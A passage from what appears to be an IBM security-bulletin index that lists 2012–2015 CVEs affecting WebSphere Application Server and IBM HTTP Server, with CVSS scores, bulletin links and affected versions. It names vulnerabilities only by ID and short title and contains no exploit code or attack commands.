[Vulnerability in GSKit component](<http://www-01.ibm.com/support/docview.wss?uid=swg21974507>) | 8.5, 8.0, 7.0 \n \n**2015 CVEs**\n\n**Name**\n\n| \n\n**CVE**\n\n| \n\n**CVSS Score**\n\n| \n\n**WebSphere Application Server Bulletin or Assessment**\n\n| \n\n**IBM HTTP Server Bulletin or Assessment**\n\n| \n\n**Versions Affected** \n \n---|---|---|---|---|--- \nSLOTH | CVE-2015-7575 | 7.1 | [IBM Java SDK for January 2016 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21975424>) | Not affected | 8.5, 8.0, 7.0, Liberty \n| CVE-2015-7450 | 9.8 | \n\n[Vulnerability in Apache Commons affects IBM WebSphere Application Server](<https://www-01.ibm.com/support/docview.wss?uid=swg21970575>) (21 Dec 2017)\n\n[Knowledge Center updates ](<https://www.ibm.com/support/pages/node/1107105>) (14 Nov 2019)\n\n| Not affected | \n\n8.5, 8.0, 7.0, Liberty\n\n9.0 \n \n| CVE-2015-7420 | 3.7 | Not affected | [Vulnerability in GSKit component](<http://www-01.ibm.com/support/docview.wss?uid=swg21974507>) | 8.5, 8.0, 7.0 \n| CVE-2015-7417 | 5.4 | [Cross-site scripting with OAuth](<http://www-01.ibm.com/support/docview.wss?uid=swg21974520>) | Not affected | 8.5, 8.0, 7.0, Liberty \n| CVE-2015-5262 | 5.3 | [Denial of Service](<https://www.ibm.com/support/pages/node/6453091>) | Not affected | 9.0, 8.5, 8.0 \n| CVE-2015-5006 | 4.6 | [IBM Java SDK for October 2015 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21969620>) | Not affected | 8.5, 8.0, 7.0, 6.1, Liberty \n| CVE-2015-4947 | 7.5 | Not affected | [Stack buffer overflow](<http://www-01.ibm.com/support/docview.wss?uid=swg21965419>) | 8.5, 8.0, 7.0, 6.1 \n| CVE-2015-4938 | 3.5 | [Spoof servlet vulnerabilities](<http://www-01.ibm.com/support/docview.wss?uid=swg21963275>) | | 8.5, 8.0, 7.0, Liberty \n| CVE-2015-4872 | 5.0 | [IBM Java SDK for October 2015 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21969620>) | Not affected | 8.5, 8.0, 7.0, 6.1, Liberty \n| CVE-2015-4749 | 4.3 | [IBM Java SDK for July 2015 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21962931>) | Not affected | 8.5, 8.0, 7.0, 6.1, Liberty \n| CVE-2015-4734 | 5.0 | [IBM Java SDK for October 2015 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21969620>) | Not affected | 8.5, 8.0, 7.0, 6.1, Liberty \nLog Jam | CVE-2015-4000 | 4.3 | [Logjam with Diffie-Hellman ciphers](<http://www-01.ibm.com/support/docview.wss?uid=swg21957980>) | Not affected | 8.5, 8.0, 7.0, 6.1, Liberty \n| CVE-2015-3183 | 6.1 | Not affected | [HTTP Request smuggling](<http://www-01.ibm.com/support/docview.wss?uid=swg21963361>) | 8.5, 8.0, 7.0, 6.1 \nBar Mitzvah | CVE-2015-2808 | 5.0 | [Vulnerability in RC4 stream cipher affects WebSphere Application Server](<https://www-01.ibm.com/support/docview.wss?uid=swg21701503>) | [Vulnerability in RC4 stream cipher affects IBM HTTP Server and Caching Proxy](<https://www-01.ibm.com/support/docview.wss?uid=swg21701072>) | 8.5, 8.0, 7.0, 6.1, Liberty \n| CVE-2015-2625 | 2.6 | [IBM Java SDK for July 2015 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21962931>) | Not affected | 8.5, 8.0, 7.0, 6.1, Liberty \n| CVE-2015-2613 | 5.0 | [IBM Java SDK for July 2015 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21962931>) | Not affected | 8.5, 8.0, 7.0, 6.1, Liberty \n| CVE-2015-2601 | 5.0 | [IBM Java SDK for July 2015 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21962931>) | Not affected | 8.5, 8.0, 7.0, 6.1, Liberty \n| CVE-2015-2017 | 5.0 | [HTTP response splitting attack](<http://www-01.ibm.com/support/docview.wss?uid=swg21966837>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2015-1946 | 4.1 | [Gain elevated privileges](<http://www-01.ibm.com/support/docview.wss?uid=swg21959083>) | Not affected | 8.5, 8.0, 7.0 \n| CVE-2015-1936 | 4 | [Hijack users session vulnerability](<http://www-01.ibm.com/support/docview.wss?uid=swg21959083>) | Not affected | 8.5, 8.0 \n| CVE-2015-1932 | 5 | [Information Disclosure vulnerability](<http://www-01.ibm.com/support/docview.wss?uid=swg21963275>) | Not affected | 8.5, 8.0, 7.0 \n| CVE-2015-1931 | 2.1 | [IBM Java SDK for July 2015 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21962931>) | Not affected | 8.5, 8.0, 7.0, 6.1, Liberty \n| CVE-2015-1927 | 6.8 | [Gain elevated privileges vulnerability](<http://www-01.ibm.com/support/docview.wss?uid=swg21959083>) | Not affected | 8.5, 8.0, 7.0, Liberty \n| CVE-2015-1920 | 9.3 | [Security vulnerability with management port in WebSphere Application Server](<http://www-01.ibm.com/support/docview.wss?uid=swg21883573>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2015-1916 | 5.0 | [IBM Java SDK for April 2015 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21902260>) | Not affected | 8.5, 8.0, 7.0, 6.1, Liberty \n| CVE-2015-1885 | 9.3 | [Gain elevated privileges with OAuth grant password](<http://www-01.ibm.com/support/docview.wss?uid=swg21697368>) | Not affected | 8.5, 8.0, 7.0, Liberty \n| CVE-2015-1882 | 8.5 | [Gain elevated privileges with EJB](<http://www-01.ibm.com/support/docview.wss?uid=swg21697368>) | Not affected | Liberty \n| CVE-2015-1829 | 5.0 | Not affected | [Denial of Service on Windows with IBM HTTP Server](<http://www-01.ibm.com/support/docview.wss?uid=swg21959081>) | 8.5, 8.0, 7.0, 6.1 \n| CVE-2015-1788 | 5.0 | Not affected | [Denial of Service in GSKIT with IBM HTTP Server](<http://www-01.ibm.com/support/docview.wss?uid=swg21963362>) | 8.5, 8.0 \n| CVE-2015-1283 | 6.8 | Not affected | [Denial of Service with IBM HTTP Server](<http://www-01.ibm.com/support/docview.wss?uid=swg21964428>) | 8.5, 8.0, 7.0, 6.1 \n| CVE-2015-0899 | 4.3 | [Bypass security](<http://www-01.ibm.com/support/docview.wss?uid=swg22015348>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2015-0488 | 5.0 | [IBM Java SDK for April 2015 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21902260>) | Not affected | 8.5, 8.0, 7.0, 6.1, Liberty \n| CVE-2015-0478 | 4.3 | [IBM Java SDK for April 2015 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21902260>) | Not affected | 8.5, 8.0, 7.0, 6.1, Liberty \n| CVE-2015-0410 | 5.0 | [IBM Java SDK for January 2015 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21695362>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2015-0400 | 5.0 | [IBM Java SDK for January 2015 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21695362>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2015-0254 | 7.5 | [Security vulnerability in Apache Standard Taglibs](<http://www-01.ibm.com/support/docview.wss?uid=swg21978495>) | Not affected | 8.5, 8.0, 7.0, 6.1, Liberty \n| CVE-2015-0250 | 4.3 | [Security vulnerability in Apache Batik](<http://www-01.ibm.com/support/docview.wss?uid=swg21959083>) | Not affected | 8.5, 8.0, 7.0, 6.1 \nGhost | CVE-2015-0235 | | Not affected | Not affected | \n| CVE-2015-0226 | 5.0 | [Security vulnerability in Apache WSS4J](<http://www-01.ibm.com/support/docview.wss?uid=swg21959083>) | Not affected | 8.5 \n| CVE-2015-0204 | 4.3 | [IBM Java SDK for April 2015 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21902260>) | Not affected | 8.5, 8.0, 7.0, 6.1, Liberty \n| CVE-2015-0174 | 3.5 | [Information disclosure with SNMP](<http://www-01.ibm.com/support/docview.wss?uid=swg21697368>) | Not affected | 8.5 \n| CVE-2015-0175 | 4.0 | [Gain elevated privileges with authData elements](<http://www-01.ibm.com/support/docview.wss?uid=swg21697368>) | Not affected | Liberty \nFREAK | CVE-2015-0138 | 4.3 | [Vulnerability with RSA export Keys affects WebSphere Application Server](<http://www-01.ibm.com/support/docview.wss?uid=swg21698613>) | [Vulnerability with RSA export keys affects IBM HTTP Server](<http://www-01.ibm.com/support/docview.wss?uid=swg21698959>) | 8.5, 8.0, 7.0, 6.1, Liberty \n \n**2014 CVEs**\n\n**Name**\n\n| \n\n**CVE**\n\n| \n\n**CVSS Score**\n\n| \n\n**WebSphere Application Server Bulletin or Assessment**\n\n| \n\n**IBM HTTP Server Bulletin or Assessment**\n\n| \n\n**Versions Affected** \n \n---|---|---|---|---|--- \n| CVE-2014-8917 | 4.3 | [Cross-site Scripting in Dojo Toolkit](<http://www-01.ibm.com/support/docview.wss?uid=swg21697284>) | Not affected | 8.5, 8.0 \n| CVE-2014-8890 | 5.1 | [Elevated Privileges in Liberty](<http://www-01.ibm.com/support/docview.wss?uid=swg21690185>) | Not affected | Liberty \nTLS Padding | CVE-2014-8730 | 4.3 | [Not affected bulletin](<http://www-01.ibm.com/support/docview.wss?uid=swg21692484>) | [TLS Padding in IBM HTTP Server](<http://www-01.ibm.com/support/docview.wss?uid=swg21692502>) | 8.5, 8.0, 7.0, 6.1 \n| CVE-2014-7810 | 5.0 | [Bypass security](<https://www-01.ibm.com/support/docview.wss?uid=ibm10729557>) | [Bypass security](<https://www-01.ibm.com/support/docview.wss?uid=ibm10729557>) | 9.0, 8.5, 8.0, 7.0, Liberty \nShell shock | CVE-2014-7189 \nCVE-2014-7186 \nCVE-2014-7169 \nCVE-2014-6278 \nCVE-2014-6277 \nCVE-2014-6271 | | [Bash Vulnerabilities](<http://www-01.ibm.com/support/docview.wss?uid=swg21685433>) \n \nNot affected but applications could be | [Bash Vulnerabilities](<http://www-01.ibm.com/support/docview.wss?uid=swg21685433>) \n \nNot affected but applications could be | Customer application might be vulnerable \n| CVE-2014-6593 | 4.0 | [IBM Java SDK for January 2015 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21695362>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2014-6558 | 2.6 | [IBM Java SDK for October 2014 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21687740>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2014-6512 | 4.3 | [IBM Java SDK for October 2014 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21687740>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2014-6457 | 4.0 | [IBM Java SDK for October 2014 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21687740>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2014-6174 | 4.3 | [Click jacking vulnerability](<http://www-01.ibm.com/support/docview.wss?uid=swg21690185>) | Not affected | 8.5, 8.0, 7.0 \n| CVE-2014-6167 | | [Cross-site scripting](<https://www-304.ibm.com/support/docview.wss?uid=swg21682767>) | Not affected | 8.5, 8.0, 7.0, Liberty \n| CVE-2014-6166 | 5.0 | [Obtain sensitive information](<http://www-01.ibm.com/support/docview.wss?uid=swg21690185>) | Not affected | 8.5, 8.0 \n| CVE-2014-6164 | 4.3 | [Spoofing vulnerability](<http://www-01.ibm.com/support/docview.wss?uid=swg21690185>) | Not affected | 8.5 \n| CVE-2014-4816 | 3.5 | Not affected | [Cross-site scripting vulnerability](<https://www-304.ibm.com/support/docview.wss?uid=swg21682767>) | 8.5, 8.0, 7.0, 6.1, 6.0 \n| CVE-2014-4770 | 3.5 | Not affected | [Cross-site request forgery](<https://www-304.ibm.com/support/docview.wss?uid=swg21682767>) | 8.5, 8.0, 7.0, 6.1, 6.0 \n| CVE-2014-4767 | 4.3 | [Weaker than expected security](<http://www-01.ibm.com/support/docview.wss?uid=swg21681249>) | Not affected | Liberty \n| CVE-2014-4764 | 7.1 | [Denial of service](<http://www-01.ibm.com/support/docview.wss?uid=swg21681249>) | Not affected | 8.5, 8.0 \n| CVE-2014-4263 | 4.0 | [IBM Java SDK for July 2014 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21680418>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2014-4244 | 4.0 | [IBM Java SDK for July 2014 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21680418>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2014-3603 | 6.5 | [Spoofing](<https://www.ibm.com/support/pages/node/964764>) | Not affected | Liberty \n| CVE-2014-3577 | 4.3 | [Spoofing Vulnerability](<https://www.ibm.com/support/pages/node/6453091>) | Not affected | 9.0, 8.5, 8.0 \nPOODLE | CVE-2014-3566 | 4.3 | [IBM Java SDK for October 2014 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21687740>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2014-3083 | 5.0 | [Obtain sensitive information](<http://www-01.ibm.com/support/docview.wss?uid=swg21681249>) | Not affected | 8.5, 8.0, 7.0, Liberty \n| CVE-2014-3070 | 5.0 | [Obtain sensitive information](<http://www-01.ibm.com/support/docview.wss?uid=swg21676222>) | Not affected | 8.5, 8.0 \n| CVE-2014-3068 | 2.4 | [IBM Java SDK for July 2014 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21680418>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2014-3022 | 5.0 | [Bypass security](<https://www-304.ibm.com/support/docview.wss?uid=swg21676222>) | Not affected | 8.5, 8.0 \n| CVE-2014-3021 | 5.0 | [Obtain sensitive information](<http://www-01.ibm.com/support/docview.wss?uid=swg21690185>) | Not affected | 8.5, 8.0, 7.0 \n| CVE-2014-0965 | 4.3 | [Obtain sensitive information](<http://www-01.ibm.com/support/docview.wss?uid=swg21681249>) | Not affected | 8.5, 8.0, 7.0 \n| CVE-2014-0964 | 7.1 | [Denial of service](<http://www-01.ibm.com/support/docview.wss?uid=swg21671835>) | Not affected | 6.1 \n| CVE-2014-0963 | 7.1 | Not affected | [CPU exhaustion](<https://www-304.ibm.com/support/docview.wss?uid=swg21672843>) | 8.5, 8.0, 7.0, 6.1, 6.0 \n| CVE-2014-0896 | 4.3 | [Obtain sensitive information](<http://www-01.ibm.com/support/docview.wss?uid=swg21669554>) | Not affected | Liberty \n| CVE-2014-0891 | 5.0 | [Obtain sensitive information](<http://www-01.ibm.com/support/docview.wss?uid=swg21669554>) | Not affected | 8.5, 8.0, 7.0 \n| CVE-2014-0878 | 5.8 | [IBM Java SDK for April 2014 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21673013>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2014-0859 | 5.0 | [Denial of service](<http://www-01.ibm.com/support/docview.wss?uid=swg21669554>) | Not affected | 8.5, 8.0, 7.0, Liberty \n| CVE-2014-0857 | 4.0 | [Obtain Information](<http://www-01.ibm.com/support/docview.wss?uid=swg21671835>) | Not affected | 8.5, 8.0 \n| CVE-2014-0823 | 4.3 | [View Files](<http://www-01.ibm.com/support/docview.wss?uid=swg21671835>) | Not affected | 8.5, 8.0, Liberty \n| CVE-2014-0460 | 5.8 | [IBM Java SDK for April 2014 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21673013>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2014-0453 | 4.0 | [IBM Java SDK for April 2014 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21673013>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2014-0411 | 4.0 | [IBM Java SDK for January 2014 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21663938>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2014-0231 | 5.0 | Not affected | [Denial of Service](<https://www-304.ibm.com/support/docview.wss?uid=swg21672428>) | 8.5, 8.0, 7.0, 6.1, 6.0 \n| CVE-2014-0226 | 7.5 | Not affected | [Heap buffer overflow](<https://www-304.ibm.com/support/docview.wss?uid=swg21672428>) | 8.5, 8.0, 7.0, 6.1, 6.0 \nHeartbleed | CVE-2014-0160 | | [Not affected Bulletin](<http://www-01.ibm.com/support/docview.wss?uid=swg21669774>) | [Not affected Bulletin](<http://www-01.ibm.com/support/docview.wss?uid=swg21669774>) | \n| CVE-2014-0118 | 5.0 | Not affected | [Denial of Service](<https://www-304.ibm.com/support/docview.wss?uid=swg21672428>) | 8.5, 8.0, 7.0, 6.1, 6.0 \n| CVE-2014-0114 \nCVE-2014-0114 | 7.5 \n7.5 | [Execute code](<http://www-01.ibm.com/support/docview.wss?uid=swg21672316>) \n[Execute code UDDI](<http://www-01.ibm.com/support/docview.wss?uid=swg22016214>) (21 June 2018) | Not affected | 7.0, 6.1 \n9.0, 8.5, 8.0, 7.0 \n| CVE-2014-0098 | 5.0 | Not affected | [Denial of service](<https://www-304.ibm.com/support/docview.wss?uid=swg21667526>) | 8.5, 8.0, 7.0, 6.1 \n| CVE-2014-0076 | 2.1 | Not affected | [Information Disclosure](<http://www-01.ibm.com/support/docview.wss?uid=swg21681249>) | 8.5, 8.0 \n| CVE-2014-0050 | 5.0 | [Denial of service](<http://www-01.ibm.com/support/docview.wss?uid=swg21667254>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n \n**2013 CVEs**\n\n**Name**\n\n| \n\n**CVE**\n\n| \n\n**CVSS Score**\n\n| \n\n**WebSphere Application Server Bulletin or Assessment**\n\n| \n\n**IBM HTTP Server Bulletin or Assessment**\n\n| \n\n**Versions Affected** \n \n---|---|---|---|---|--- \n| CVE-2013-6747 | 7.1 | Not affected | [Denial of Service](<http://www-01.ibm.com/support/docview.wss?uid=swg21669554>) | 8.5, 8.0, 7.0 \n| CVE-2013-6738 | 4.3 | [Cross-site scripting](<http://www-01.ibm.com/support/docview.wss?uid=swg21669554>) | Not affected | 8.5, 8.0, 7.0, Liberty \n| CVE-2013-6725 | 3.5 | [Cross-site scripting](<http://www-01.ibm.com/support/docview.wss?uid=swg21661323>) | Not affected | 8.5, 8.0, 7.0 \n| CVE-2013-6440 | 4.3 | [XML External Entity](<http://www-01.ibm.com/support/docview.wss?uid=swg22010415>) | Not affected | Liberty \n| CVE-2013-6438 | 4.3 | Not affected | [Buffer overflow](<http://www-01.ibm.com/support/docview.wss?uid=swg21669554>) | 8.5, 8.0, 7.0 \n| CVE-2013-6330 | 2.1 | [Obtain sensitive information](<http://www-01.ibm.com/support/docview.wss?uid=swg21661323>) | Not affected | 7.0 \n| CVE-2013-6329 | 7.8 | Not affected | [Denial of Service](<http://www-01.ibm.com/support/docview.wss?uid=swg21659548>) | 8.5, 8.0, 7.0, 6.1 \n| CVE-2013-6325 | 4.3 | [Denial of Service](<http://www-01.ibm.com/support/docview.wss?uid=swg21661323>) | Not affected | 8.5, 8.0, 7.0 \n| CVE-2013-6323 | 3.5 | [Cross-site scripting](<http://www-01.ibm.com/support/docview.wss?uid=swg21669554>) | Not affected | 8.5, 8.0, 7.0 \n| CVE-2013-5802 | 2.6 | [IBM Java SDK for Oct 2013 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21655990>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2013-5780 | 4.3 | [IBM Java SDK for Oct 2013 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21655990>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2013-5704 | 5 | Not affected | [Bypass security](<http://www-01.ibm.com/support/docview.wss?uid=swg21672428>) | 8.5, 8.0, 7.0, 6.1 \n| CVE-2013-5425 | 3.5 | [Cross-site scripting](<http://www-01.ibm.com/support/docview.wss?uid=swg21651880>) | Not affected | 8.5 \n| CVE-2013-5418 | 3.5 | [Cross-site scripting](<http://www-01.ibm.com/support/docview.wss?uid=swg21651880>) | Not affected | 8.5, 8.0, 7.0 \n| CVE-2013-5417 | 4.3 | [Cross-site scripting](<http://www-01.ibm.com/support/docview.wss?uid=swg21651880>) | Not affected | 8.5, 8.0, 7.0 Liberty \n| CVE-2013-5414 | 3.5 | [Privilege escalation](<http://www-01.ibm.com/support/docview.wss?uid=swg21651880>) | Not affected | 8.5, 8.0, 7.0 \n| CVE-2013-5372 | 4.3 | [IBM Java SDK for Oct 2013 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21655990>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2013-4053 | 6.8 | [Privilege escalation](<http://www-01.ibm.com/support/docview.wss?uid=swg21647522>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2013-4052 | 4.3 | [Cross-site scripting](<http://www-01.ibm.com/support/docview.wss?uid=swg21647522>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2013-4039 | 4 | [Obtain sensitive information](<http://www-01.ibm.com/support/docview.wss?uid=swg21647485>) | Not affected | 8.5 \n| CVE-2013-4006 | 3.5 | [Obtain sensitive information](<http://www-01.ibm.com/support/docview.wss?uid=swg21651880>) | Not affected | Liberty \n| CVE-2013-4005 | 3.5 | [Cross-site scripting](<http://www-01.ibm.com/support/docview.wss?uid=swg21644047>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2013-4004 | 3.5 | [Cross-site scripting](<http://www-01.ibm.com/support/docview.wss?uid=swg21644047>) | Not affected | 8.5, 8.0 \n| CVE-2013-3029 | 4.3 | [Cross-site scripting](<http://www-01.ibm.com/support/docview.wss?uid=swg21640799>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2013-3024 | 6.9 | [Execute code](<http://www-01.ibm.com/support/docview.wss?uid=swg21639553>) | Not affected | 8.5 \n| CVE-2013-2976 | 1.9 | [Obtain sensitive information](<http://www-01.ibm.com/support/docview.wss?uid=swg21639553>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2013-2967 | 4.3 | [Cross-site scripting](<http://www-01.ibm.com/support/docview.wss?uid=swg21639553>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2013-1896 | 4.3 | Not affected | [Denial of Service](<http://www-01.ibm.com/support/docview.wss?uid=swg21643362>) | 8.5, 8.0, 7.0, 6.1 \n| CVE-2013-1862 | 5.1 | Not affected | [Command execution](<http://www-01.ibm.com/support/docview.wss?uid=swg21635991>) | 8.5, 8.0, 7.0, 6.1 \n| CVE-2013-1768 | 10 | [Deserialization](<http://www-01.ibm.com/support/docview.wss?uid=swg21635999>) | Not affected | 8.5, 8.0, 7.0, 6.1, Liberty \n| CVE-2013-1571 | 4.3 | [Clickjacking](<http://www-01.ibm.com/support/docview.wss?uid=swg21641387>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2013-0599 | 5 | [Obtain sensitive information](<http://www-01.ibm.com/support/docview.wss?uid=swg21651880>) | Not affected | 8.5 \n| CVE-2013-0597 | 3.5 | [Cross-site scripting](<http://www-01.ibm.com/support/docview.wss?uid=swg21635998>) | Not affected | 8.5, 8.0, 7.0, Liberty \n| CVE-2013-0596 | 4.3 | [Cross-site scripting](<http://www-01.ibm.com/support/docview.wss?uid=swg21647522>) | Not affected | 6.1 \n| CVE-2013-0565 | 4.3 | [Cross-site scripting](<http://www-01.ibm.com/support/docview.wss?uid=swg21632423>) | Not affected | 8.5 \n| CVE-2013-0544 | 3.5 | [File directory traversal](<http://www-01.ibm.com/support/docview.wss?uid=swg21632423>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2013-0543 | 6.8 | [Bypass security](<http://www-01.ibm.com/support/docview.wss?uid=swg21632423>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2013-0542 | 4.3 | [Cross-site scripting](<http://www-01.ibm.com/support/docview.wss?uid=swg21632423>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2013-0541 | 1.9 | [Buffer overflow](<http://www-01.ibm.com/support/docview.wss?uid=swg21632423>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2013-0540 | 4.9 | [Bypass security](<http://www-01.ibm.com/support/docview.wss?uid=swg21632423>) | Not affected | Liberty \n| CVE-2013-0482 | 2.6 | [Spoofing](<http://www-01.ibm.com/support/docview.wss?uid=swg21634646>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2013-0467 | 4 | [Obtain sensitive information](<http://www-01.ibm.com/support/docview.wss?uid=swg21651880>) | Not affected | 8.5 \n| CVE-2013-0464 | 4.3 | [Execute code](<http://www-01.ibm.com/support/docview.wss?uid=swg21651880>) | Not affected | 8.5, 8.0, \n| CVE-2013-0462 | 6.5 | [Bypass security](<http://www-01.ibm.com/support/docview.wss?uid=swg21632423>) | Not affected | 8.5, 8.0, 7.0, 6.1, Liberty \n| CVE-2013-0461 | 1.2 | [Cross-site scripting](<http://www-01.ibm.com/support/docview.wss?uid=swg21622444>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2013-0460 | 4.3 | [Cross-site scripting](<http://www-01.ibm.com/support/docview.wss?uid=swg21622444>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2013-0459 | 4.3 | [Cross-site scripting](<http://www-01.ibm.com/support/docview.wss?uid=swg21622444>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2013-0458 | 4.3 | [Cross-site scripting](<http://www-01.ibm.com/support/docview.wss?uid=swg21622444>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2013-0443 | 4 | [IBM Java SDK for Feb 2013 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21627634>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2013-0440 | 5 | [IBM Java SDK for Feb 2013 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21627634>) | Not affected | 8.5, 8.0, 7.0, 6.1 \nLucky Thirteen | CVE-2013-0169 | 4.3 | [IBM Java SDK for Feb 2013 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21627634>) | [Side Channel Attack](<http://www-01.ibm.com/support/docview.wss?uid=swg21635988>) | 8.5, 8.0, 7.0, 6.1 \n \n**2012 CVEs**\n\n**Name**\n\n| \n\n**CVE**\n\n| \n\n**CVSS Score**\n\n| \n\n**WebSphere Application Server Bulletin or Assessment**\n\n| \n\n**IBM HTTP Server Bulletin or Assessment**\n\n| \n\n**Versions Affected** \n \n---|---|---|---|---|--- \n| CVE-2012-6153 | 4.3 | [Spoofing Vulnerability](<https://www.ibm.com/support/pages/node/6453091>) | Not affected | 9.0, 8.5, 8.0 \n| CVE-2012-5783 | 4.3 | [Spoofing attacks](<http://www-01.ibm.com/support/docview.wss?uid=swg22016216>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2012-4853 | 4.3 | [Cross-site request Forgery](<http://www-01.ibm.com/support/docview.wss?uid=swg21614265>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2012-4851 | 4.3 | [Cross-site scripting](<http://www-01.ibm.com/support/docview.wss?uid=swg21614265>) | Not affected | Liberty \n| CVE-2012-4850 | 7.5 | [Privilege escalation](<http://www-01.ibm.com/support/docview.wss?uid=swg21614265>) | Not affected | Liberty \n| CVE-2012-3330 | 5 | [Denial of Servic](<http://www-01.ibm.com/support/docview.wss?uid=swg21614265>)e | Not affected | 8.5, 8.0, 7.0 \n| CVE-2012-3325 | 6 | [Bypass security](<http://www-01.ibm.com/support/docview.wss?uid=swg21609067>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2012-3311 | 3 | [Bypass security](<http://www-01.ibm.com/support/docview.wss?uid=swg21611313>) | Not affected | 8.5, 8.0, 7.0 \n| CVE-2012-3306 | 4.3 | [Weaker security](<http://www-01.ibm.com/support/docview.wss?uid=swg21611313>) | Not affected | 8.5, 8.0, 7.0 \n| CVE-2012-3305 | 5.8 | [File directory traversal](<http://www-01.ibm.com/support/docview.wss?uid=swg21611313>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2012-3304 | 6.8 | [Hijack session](<http://www-01.ibm.com/support/docview.wss?uid=swg21611313>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2012-3293 | 4.3 | [Cross-site scripting](<http://www-01.ibm.com/support/docview.wss?uid=swg21611313>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2012-2191 | 5 | Not affected | [Denial of Service](<http://www-01.ibm.com/support/docview.wss?uid=swg21606096>) | 8.5, 8.0, 7.0, 6.1 \n| CVE-2012-2190 | 5 | Not affected | [Denial of Service](<http://www-01.ibm.com/support/docview.wss?uid=swg21606096>) | 8.5, 8.0, 7.0, 6.1 \n| CVE-2012-2170 | 4.3 | [Obtain sensitive information](<http://www-01.ibm.com/support/docview.wss?uid=swg21595172>) | Not affected | 8.0, 7.0, 6.1 \n| CVE-2012-2159 | 4.3 | [Cross-site scripting](<http://www-01.ibm.com/support/docview.wss?uid=swg21606096>) | Not affected | 8.5, 8.0 \n| CVE-2012-2098 | 5 | [Denial of Service](<http://www-01.ibm.com/support/docview.wss?uid=swg21644047>) | Not affected | 8.5, 8.0, 7.0, 6.1 \n| CVE-2012-1148 | 5 | Not affected | [Denial of Service](<http://www-01.ibm.com/support/docview.wss?uid=swg21988026>) | 9.0, 8.5, 8.0, 7.0 \n| CVE-2012-1007 | 4.3 | [Cross-site scripting](<http://www-01.ibm.com/support/docview.wss?uid=swg22016214>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2012-0876 | 5 | Not affected | [Denial of 